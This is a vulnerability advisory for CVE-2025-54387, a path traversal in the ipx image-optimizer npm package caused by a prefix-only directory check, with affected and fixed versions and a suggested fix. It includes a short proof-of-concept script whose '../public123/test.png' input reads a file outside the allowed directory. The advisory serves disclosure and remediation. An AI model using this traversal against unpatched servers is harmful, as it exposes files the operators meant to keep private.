CVE-2025-54387: IPX is Vulnerable to Path Traversal via Prefix Matching Bypass
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
- setup mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx
- main.js js import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), });
(async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: }
}
})()
- node main.js png Forbidden path: /../publi123/test.png
Impact Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
Other sources
IPX is an image optimizer powered by sharp and svgo. In versions 1.3.1 and below, 2.0.0-0 through 2.1.0, and 3.0.0 through 3.1.0, the approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. This is fixed in versions 1.3.2, 2.1.1 and 3.1.1.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-54387?
CVE-2025-54387 is considered a moderate severity vulnerability due to its potential for path prefix bypass in directory checks.
How do I fix CVE-2025-54387?
To address CVE-2025-54387, update the ipx package to version 3.1.1, 2.1.1, or 1.3.2.
What are the affected versions in CVE-2025-54387?
The affected versions for CVE-2025-54387 include ipx versions prior to 3.1.1, 2.1.1, and 1.3.2.
What is the nature of the vulnerability in CVE-2025-54387?
CVE-2025-54387 involves a path prefix bypass due to insufficient checks for allowed directory paths that do not end with a separator.
Who should be concerned about CVE-2025-54387?
Developers using the ipx package in their applications should be concerned about CVE-2025-54387 and apply the necessary updates.